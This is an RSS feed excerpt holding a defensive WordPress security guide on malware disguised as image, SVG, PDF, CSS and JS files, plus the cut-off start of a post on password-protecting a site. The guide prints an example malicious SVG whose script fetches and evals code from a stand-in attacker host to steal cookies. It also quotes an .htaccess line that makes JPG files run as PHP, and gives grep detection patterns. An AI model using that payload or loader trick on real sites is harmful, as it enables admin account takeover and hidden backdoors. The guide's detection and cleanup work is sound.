      <title>Can a JPG, PNG, GIF, SVG, PDF, or CSS File Contain Malware? The WordPress File-Disguise Guide</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Sat, 23 May 2026 03:41:06 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/can-a-jpg-png-gif-svg-pdf-or-css-file-contain-malware-the-wordpress-file-disguise-guide-2cjm</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/can-a-jpg-png-gif-svg-pdf-or-css-file-contain-malware-the-wordpress-file-disguise-guide-2cjm</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Quick Answer: Can a file that looks like an image, PDF, or CSS contain malware on a WordPress site?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Yes. On a hacked WordPress site, attackers routinely hide PHP backdoors, JavaScript redirects, and webshells inside files that look harmless — &lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt;, &lt;code&gt;.gif&lt;/code&gt;, &lt;code&gt;.ico&lt;/code&gt;, &lt;code&gt;.svg&lt;/code&gt;, &lt;code&gt;.pdf&lt;/code&gt;, &lt;code&gt;.css&lt;/code&gt;, and even &lt;code&gt;.txt&lt;/code&gt; or &lt;code&gt;.log&lt;/code&gt;. The file extension is just a label. What matters is the actual content and whether something on the server is configured to &lt;em&gt;execute&lt;/em&gt; it.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Image files&lt;/strong&gt; (jpg, png, gif, ico) usually hide PHP webshells loaded by a modified core file or a malicious &lt;code&gt;.htaccess&lt;/code&gt; rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SVG files&lt;/strong&gt; are XML, so they can carry live JavaScript that fires when an admin previews the upload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PDF and CSS files&lt;/strong&gt; in &lt;code&gt;/wp-content/uploads/&lt;/code&gt; are sometimes renamed PHP webshells; CSS in your theme can also be injected with credit-card skimmer JavaScript via comments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The fix&lt;/strong&gt; is the same pattern: identify the loader, replace infected core files from a clean copy of your WordPress version, then remove the disguised payload — not the other way around.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your scanner just flagged a strange file inside your WordPress install — something like &lt;code&gt;w-feedebbbbc.gif&lt;/code&gt;, &lt;code&gt;toggige-arrow.jpg&lt;/code&gt;, &lt;code&gt;favico.ico&lt;/code&gt;, a random &lt;code&gt;.pdf&lt;/code&gt; in &lt;code&gt;/wp-content/uploads/&lt;/code&gt;, or a CSS file that suddenly contains JavaScript — you are not looking at a normal media-library glitch. You are looking at a deliberate disguise.&lt;/p&gt;

&lt;p&gt;Across 4,500+ cleanups, the pattern is consistent: attackers pick file extensions that site owners trust on sight. Most people will inspect a &lt;code&gt;.php&lt;/code&gt; file in &lt;code&gt;wp-content&lt;/code&gt; that does not belong. Almost nobody opens a &lt;code&gt;.gif&lt;/code&gt; in a text editor. That asymmetry is the entire attack surface.&lt;/p&gt;

&lt;p&gt;This guide is the broad reference: every file type attackers reuse to hide malware on a WordPress site, what the disguise actually does, and how to verify it before you start deleting things. For the deeper technical breakdowns of specific cases, the related guides are linked inline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this trick works on WordPress specifically
&lt;/h2&gt;

&lt;p&gt;A web server does not run a file because of its extension. It runs a file because the server has been &lt;em&gt;told&lt;/em&gt; to run it. On a standard Apache or LiteSpeed WordPress setup, only &lt;code&gt;.php&lt;/code&gt; files get handed to the PHP interpreter. Everything else — images, PDFs, stylesheets — gets served as static content.&lt;/p&gt;

&lt;p&gt;Attackers need to break that rule to weaponize a disguised file. They do it in three reliable ways:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Modify &lt;code&gt;.htaccess&lt;/code&gt;&lt;/strong&gt; to redefine which extensions get parsed as PHP. A single line like &lt;code&gt;AddType application/x-httpd-php .jpg&lt;/code&gt; turns every JPG in that directory into an executable script.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a PHP &lt;code&gt;include()&lt;/code&gt; from a legitimate-looking file.&lt;/strong&gt; A modified core file, theme file, or mu-plugin includes the fake image. The PHP code inside the image then executes in the context of the including file. The extension is irrelevant once PHP has the contents in memory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Abuse the browser, not the server.&lt;/strong&gt; SVG and HTML files render in the user’s browser, which speaks JavaScript natively. No server-side trickery needed — the payload runs as soon as an admin previews the upload.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So when you see a suspicious non-PHP file, the diagnostic question is never just “does this file contain code?” It is two questions: &lt;strong&gt;does the file contain code, and is something on this server set up to execute it?&lt;/strong&gt; Both need to be true for the backdoor to actually fire.&lt;/p&gt;

&lt;h2&gt;
  
  
  Image files: JPG, PNG, GIF, ICO, WebP
&lt;/h2&gt;

&lt;p&gt;This is the most common disguise category by a wide margin. The attacker is not exploiting an image-parsing vulnerability — the file simply is not an image. It is a PHP webshell with an image extension glued on.&lt;/p&gt;

&lt;h3&gt;
  
  
  What you typically see
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Files in &lt;code&gt;/wp-content/uploads/&lt;/code&gt; with random or odd names: &lt;code&gt;xit-3x.gif&lt;/code&gt;, &lt;code&gt;logo_new.jpg&lt;/code&gt;, &lt;code&gt;social-icon.png&lt;/code&gt;, &lt;code&gt;favico.ico&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Files inside core directories where they have no business existing — for example a random &lt;code&gt;.gif&lt;/code&gt; in &lt;code&gt;/wp-includes/images/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;An &lt;code&gt;.htaccess&lt;/code&gt; file sitting next to the suspicious image inside an uploads subfolder. That is the loader.&lt;/li&gt;
&lt;li&gt;The file opens as garbage or readable code in a text editor, not as a picture in a browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How to verify
&lt;/h3&gt;

&lt;p&gt;Run these on the server (SSH, or your hosting file manager’s “view” function):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find suspicious image files that contain PHP&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rEn&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\?&lt;/span&gt;&lt;span class="s2"&gt;php|eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|base64_decode|gzinflate|str_rot13"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.jpg"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.jpeg"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.png"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.gif"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.ico"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.webp"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /path/to/wp-content/uploads/

&lt;span class="c"&gt;# Find .htaccess files inside uploads (there should not be any)&lt;/span&gt;
find /path/to/wp-content/uploads/ &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".htaccess"&lt;/span&gt;

&lt;span class="c"&gt;# Check what an image file actually is&lt;/span&gt;
file /path/to/wp-content/uploads/suspicious.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; command reads the file’s magic bytes, not its name. A real JPG returns &lt;code&gt;JPEG image data&lt;/code&gt;. A disguised webshell returns &lt;code&gt;PHP script&lt;/code&gt; or &lt;code&gt;ASCII text&lt;/code&gt;. That single command settles most cases.&lt;/p&gt;

&lt;p&gt;For the deeper case studies, see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/i-found-a-hidden-8220backdoor8221-in-a-clients-wordpress-site-5g0m"&gt;I Found a Hidden Backdoor in a Client’s WordPress Site&lt;/a&gt; and the cleanup-from-suspended-account writeup at &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-case-study-removing-hidden-executable-files-after-a-bluehost-account-suspension/" rel="noopener noreferrer"&gt;Removing Hidden Executable Files After a Bluehost Suspension&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  SVG files: a different problem entirely
&lt;/h2&gt;

&lt;p&gt;SVG looks like an image format, but it is XML. That means an SVG file can legitimately contain &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, &lt;code&gt;onload&lt;/code&gt; attributes, and inline JavaScript. Browsers will execute that JavaScript when the SVG renders — including when a WordPress admin clicks the file in the Media Library to preview it.&lt;/p&gt;

&lt;p&gt;This is not theoretical. Multiple 2025 and 2026 CVEs covered exactly this pattern in popular WordPress plugins, including form builders that accepted SVG uploads without sanitization. An unauthenticated attacker uploads a weaponized SVG, an admin opens the form submission, and the attacker’s JavaScript runs in the admin’s authenticated browser session — full account takeover.&lt;/p&gt;

&lt;h3&gt;
  
  
  What a malicious SVG looks like
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" standalone="no"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"alert(document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    // fetches a remote payload, exfiltrates cookies, creates an admin user
    fetch('https://attacker[.]example/x.js').then(r=&amp;gt;r.text()).then(eval);
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How to detect
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Any SVG in uploads containing script tags or event handlers is suspicious&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rliE&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;script|onload=|onclick=|onerror=|javascript:"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.svg"&lt;/span&gt; /path/to/wp-content/uploads/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you do not actively need SVG uploads, disable them. Most sites do not. If you do need them, sanitize on upload with a library that strips scripts and event handlers — do not rely on MIME-type checks alone, because the file’s reported MIME type is set by the uploader and is trivially spoofed.&lt;/p&gt;

&lt;h2&gt;
  
  
  PDF files used as webshells
&lt;/h2&gt;

&lt;p&gt;This one surprises people. A PDF in &lt;code&gt;/wp-content/uploads/&lt;/code&gt; is supposed to be a downloadable document. But on a hacked site, a &lt;code&gt;.pdf&lt;/code&gt; file is sometimes just a PHP webshell with a renamed extension, loaded the same way the image trick works — via &lt;code&gt;.htaccess&lt;/code&gt; rewrite or PHP &lt;code&gt;include()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There is a separate category of &lt;em&gt;polyglot&lt;/em&gt; PDF malware, where the file is a valid PDF &lt;em&gt;and&lt;/em&gt; a valid PHP archive or HTML application at the same time. These exist, but on WordPress sites the simpler trick — rename a PHP shell as &lt;code&gt;.pdf&lt;/code&gt; — is far more common because the attacker controls the server config they need.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Real PDFs start with %PDF-. Anything else is the disguise.&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;f &lt;span class="k"&gt;in&lt;/span&gt; /path/to/wp-content/uploads/&lt;span class="k"&gt;**&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;.pdf&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 5 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"%PDF-"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FAKE PDF: &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Or grep for PHP inside any .pdf file&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rlE&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\?&lt;/span&gt;&lt;span class="s2"&gt;php|eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|base64_decode"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.pdf"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /path/to/wp-content/uploads/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CSS and JavaScript files: injected, not disguised
&lt;/h2&gt;

&lt;p&gt;CSS and JS files work differently from the image and PDF tricks. Nobody renames a PHP shell as &lt;code&gt;style.css&lt;/code&gt;, because CSS does not execute on the server. Instead, attackers &lt;em&gt;inject&lt;/em&gt; existing CSS and JS files with malicious content.&lt;/p&gt;

&lt;h3&gt;
  
  
  CSS injection patterns
&lt;/h3&gt;

&lt;p&gt;CSS files cannot run JavaScript on their own. But a compromised CSS file can carry obfuscated JavaScript inside a comment block, which a separate PHP file then reads, decodes, and outputs into the page. The CSS itself is the storage; the execution happens elsewhere. Credit-card skimmers targeting WooCommerce checkout pages have used this pattern repeatedly — see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/case-study-removing-a-8220fake-payment-form8221-credit-card-skimmer-from-woocommerce-1li9"&gt;WooCommerce Fake Payment Form Skimmer Fix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A second CSS pattern is plain SEO spam: hidden links and text injected into theme CSS to keep them invisible to visitors but visible to Google. Covered in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/hidden-links-malware-in-wordpress-how-a-remote-fetch-footerphp-backdoor-injects-casino-038-368f-temp-slug-4847961"&gt;Hidden Links Malware&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  JavaScript injection patterns
&lt;/h3&gt;

&lt;p&gt;JavaScript injection is the highest-traffic attack on WordPress today. The attacker prepends or appends obfuscated JavaScript to every &lt;code&gt;.js&lt;/code&gt; file in the install — including core files like &lt;code&gt;wp-includes/js/jquery/jquery.min.js&lt;/code&gt;. The injected code runs on every page that loads jQuery, which is almost every page. It redirects mobile users, pops fake CAPTCHA prompts, or steals form data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find JS files that have been touched recently AND contain obvious obfuscation&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rlE&lt;/span&gt; &lt;span class="s2"&gt;"String&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;fromCharCode|atob&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|unescape&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;function"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; /path/to/wordpress/

&lt;span class="c"&gt;# Compare WordPress core JS files against a clean copy of the same version&lt;/span&gt;
diff &lt;span class="nt"&gt;-r&lt;/span&gt; /path/to/wordpress/wp-includes/js /path/to/clean-wp/wp-includes/js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deeper walkthroughs of these JS-injection campaigns: &lt;a href="https://www.mdpabel.com/blog/all-javascript-js-files-infected-a-step-by-step-virus-removal-guide/" rel="noopener noreferrer"&gt;All JavaScript Files Infected&lt;/a&gt;, &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-find-and-remove-malicious-javascript-in-wordpress-files-1lc5"&gt;JavaScript Redirect Malware Detection&lt;/a&gt;, and &lt;a href="https://www.mdpabel.com/blog/dangerous-javascript-malware-targeting-wordpress-and-node-js-sites/" rel="noopener noreferrer"&gt;Dangerous JavaScript Malware Targeting WordPress&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Less obvious disguises: .txt, .log, .ini, fonts, and “license” files
&lt;/h2&gt;

&lt;p&gt;Once the .htaccess or include() loader is in place, the disguised payload can have &lt;em&gt;any&lt;/em&gt; extension. In real cleanups, I have removed PHP webshells named:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;error_log&lt;/code&gt; or &lt;code&gt;debug.log&lt;/code&gt; in &lt;code&gt;wp-content/&lt;/code&gt; — site owners ignore log files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;readme.txt&lt;/code&gt; dropped into plugin directories&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;license.txt&lt;/code&gt; in fake plugins (see &lt;a href="https://www.mdpabel.com/blog/comprehensive-list-of-known-fake-and-malicious-wordpress-plugins/" rel="noopener noreferrer"&gt;Comprehensive List of Known Fake and Malicious WordPress Plugins&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.ini&lt;/code&gt; and &lt;code&gt;.htaccess.bak&lt;/code&gt; files in random directories&lt;/li&gt;
&lt;li&gt;fake font files like &lt;code&gt;icons.woff&lt;/code&gt; or &lt;code&gt;fa-brands.ttf&lt;/code&gt; containing PHP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The defense is the same in every case: do not trust the extension. Trust the contents and the loader.&lt;/p&gt;

&lt;h2&gt;
  
  
  The universal diagnostic playbook
&lt;/h2&gt;

&lt;p&gt;Regardless of which file type is involved, the safe cleanup follows the same five steps. Skipping any of them is how reinfections happen.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Back up the current (infected) state first.&lt;/strong&gt; You need a reference point if anything goes wrong during cleanup, and the infected backup is also forensic evidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Find the loader before touching the payload.&lt;/strong&gt; The disguised file does nothing on its own. Search for the &lt;code&gt;.htaccess&lt;/code&gt; rewrite, the modified core PHP file, or the &lt;code&gt;include()&lt;/code&gt; statement that fires it. Remove or replace that first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Replace infected core files with clean copies from the exact same WordPress version.&lt;/strong&gt; Download a fresh ZIP from wordpress.org and overwrite &lt;code&gt;wp-admin/&lt;/code&gt; and &lt;code&gt;wp-includes/&lt;/code&gt; over SFTP. Never trust an in-dashboard “reinstall” on a compromised site.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remove the disguised payloads and check for siblings.&lt;/strong&gt; Attackers rarely drop one file. Look at the timestamps of the file you found and search for everything else modified within the same window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential and salt.&lt;/strong&gt; Admin passwords, hosting/cPanel, FTP/SFTP, database, and the secret keys in &lt;code&gt;wp-config.php&lt;/code&gt;. If you skip this and the attacker still has a valid login or saved session, the same infection comes back within days. The deeper reasons this happens are in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-wordpress-malware-keeps-coming-back-and-how-to-stop-it-forever-4953"&gt;Why WordPress Malware Keeps Coming Back&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a full post-cleanup checklist, see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/what-to-do-after-fixing-a-hacked-wordpress-site-the-72-hour-verification-protocol-from-4500-2c8m-temp-slug-7327467"&gt;What to Do After Fixing a Hacked WordPress Site&lt;/a&gt;. For the broader manual-detection workflow, see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-detect-wordpress-malware-before-it-ruins-your-business-49a"&gt;How to Detect WordPress Malware&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I check first on a real cleanup
&lt;/h2&gt;

&lt;p&gt;When a site comes in with a “weird file” alert from Wordfence, Sucuri, or the hosting scanner, this is the order I work in — built from 4,500+ cleanups across every major host:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pull a list of every file modified in the last 30 days, sorted by date. Disguised files almost always cluster around the initial compromise date.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;file&lt;/code&gt; against every flagged “image” or “document” to confirm what it actually is.&lt;/li&gt;
&lt;li&gt;Search &lt;code&gt;.htaccess&lt;/code&gt; at every level for &lt;code&gt;AddType&lt;/code&gt;, &lt;code&gt;AddHandler&lt;/code&gt;, &lt;code&gt;SetHandler&lt;/code&gt;, or &lt;code&gt;RewriteRule&lt;/code&gt; entries that touch image or document extensions.&lt;/li&gt;
&lt;li&gt;Diff &lt;code&gt;wp-admin/&lt;/code&gt; and &lt;code&gt;wp-includes/&lt;/code&gt; against a clean copy of the same WordPress version. Any modified file inside core is the loader until proven otherwise.&lt;/li&gt;
&lt;li&gt;Scan the database for injected options, especially in &lt;code&gt;wp_options&lt;/code&gt; rows with auto-loaded values, and in &lt;code&gt;wp_users&lt;/code&gt; for ghost admin accounts (covered in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hidden-admin-user-how-to-detect-and-remove-it-permanently-real-code-real-cleanup-1cod"&gt;Hidden Admin Users&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Can a JPG, PNG, or GIF file actually contain a virus?
&lt;/h3&gt;

&lt;p&gt;On a WordPress server, “yes” in a specific sense: attackers rename PHP webshells with image extensions and then configure the server to execute them. The file is not really an image. There is also a narrower class of attacks where genuine images carry payloads in their EXIF metadata, but on hacked WordPress sites the renamed-webshell pattern is far more common.&lt;/p&gt;

&lt;h3&gt;
  
  
  Are SVG files safe to allow on a WordPress site?
&lt;/h3&gt;

&lt;p&gt;Not by default. SVG is XML and supports inline JavaScript and event handlers. Unsanitized SVG uploads have been the root cause of multiple 2025 stored-XSS CVEs in popular WordPress plugins. If you allow SVGs, use a plugin that sanitizes them on upload — do not rely on MIME-type checks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why is there a PDF in my uploads folder that I never created?
&lt;/h3&gt;

&lt;p&gt;On a hacked site, an unexplained PDF is often a renamed PHP webshell, especially if it sits next to an &lt;code&gt;.htaccess&lt;/code&gt; file or has random characters in the filename. Check the first five bytes of the file — real PDFs start with &lt;code&gt;%PDF-&lt;/code&gt;. Anything else is the disguise.&lt;/p&gt;

&lt;h3&gt;
  
  
  Should I just delete the suspicious file?
&lt;/h3&gt;

&lt;p&gt;Not as your only step. The disguised file is the payload, not the entry point. If you delete it without finding the modified core file, the &lt;code&gt;.htaccess&lt;/code&gt; rule, or the credential the attacker used to upload it, the same file or a renamed version reappears within hours. Always find and remove the loader first.&lt;/p&gt;

&lt;h3&gt;
  
  
  Will a security plugin catch these disguised files?
&lt;/h3&gt;

&lt;p&gt;Sometimes. Wordfence and Sucuri’s scanners flag many of these patterns, but obfuscated payloads, brand-new variants, and files in unusual directories often slip past automated scanning. Scanner alerts are a strong signal that something is wrong, but a clean scan does not mean a clean site.&lt;/p&gt;

&lt;h3&gt;
  
  
  How did the attacker upload these files in the first place?
&lt;/h3&gt;

&lt;p&gt;Usually one of three routes: a known plugin or theme vulnerability that allows arbitrary file upload, stolen admin credentials, or a leftover backdoor from a prior compromise that was never fully cleaned. Hardening alone will not remove an existing backdoor — it has to be found and removed manually.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to bring someone in
&lt;/h2&gt;

&lt;p&gt;If your scanner is flagging files you do not understand, if you have deleted suspicious files and they keep coming back, or if your host has suspended the account, this is the point where a proper manual cleanup pays for itself in hours rather than weeks.&lt;/p&gt;

&lt;p&gt;I have personally cleaned 4,500+ hacked WordPress sites and seen every variant of this attack across SiteGround, Bluehost, Hostinger, Kinsta, and shared hosts most people have never heard of. If you want it handled, the service page is &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress Malware Removal&lt;/a&gt; and you can reach me directly through &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;Hire Me&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Last updated: May 23, 2026 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist — 4,500+ sites cleaned.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>php</category>
      <category>security</category>
      <category>wordpress</category>
    </item>
    <item>
      <title>How to Password Protect Your Entire WordPress Site (5 Methods, 2026)</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Thu, 21 May 2026 16:04:08 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/how-to-password-protect-your-entire-wordpress-site-5-methods-2026-4fbf</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/how-to-password-protect-your-entire-wordpress-site-5-methods-2026-4fbf</guid>
      <description>&lt;p&gt;&lt;strong&gt;The fastest way to password protect your entire WordPress site is the free Password Protected plugin — install, activate, set a password, done in under five minutes.&lt;/strong&gt; But that’s only the right answer for some situations. For staging sites, dev environments, or anything that needs serious privacy, server-level HTTP authentication via &lt;code&gt;.htaccess&lt;/code&gt; is far more secure.&lt;/p&gt;

&lt;p&gt;This guide covers five different methods to password protect your whole WordPress site, when to use each, and the security pitfalls most tutorials skip. After cleaning up over 4,500 hacked WordPress sites, I’ve seen plenty of “password-protected” sites where the password protection didn’t actually protect anything because the REST API, sitemap, or RSS feed was still wide open. We’ll fix that here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📌 TL;DR — Pick Your Method&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;For client review / soft launch sites:&lt;/strong&gt; Password Protected plugin (5 minutes)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For staging or development sites:&lt;/strong&gt; HTTP authentication via &lt;code&gt;.htaccess&lt;/code&gt; (most secure)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For “coming soon” pages with a public-facing message:&lt;/strong&gt; SeedProd or similar&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For managed hosting users (Kinsta, WP Engine, etc.):&lt;/strong&gt; Use the host’s built-in tool&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For multi-user private sites:&lt;/strong&gt; A membership plugin like Members or MemberPress&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Password Protect Your Entire WordPress Site?
&lt;/h2&gt;

&lt;p&gt;Before picking a method, be clear on why you need this — because the right method depends entirely on your use case. The most common reasons people want sitewide password protection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Staging or development sites&lt;/strong&gt; — you don’t want Google indexing the work-in-progress, and you definitely don’t want strangers seeing test data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-launch / coming soon sites&lt;/strong&gt; — the domain is live but the site isn’t ready for the public.&lt;/li&gt;
&lt;li&gt;
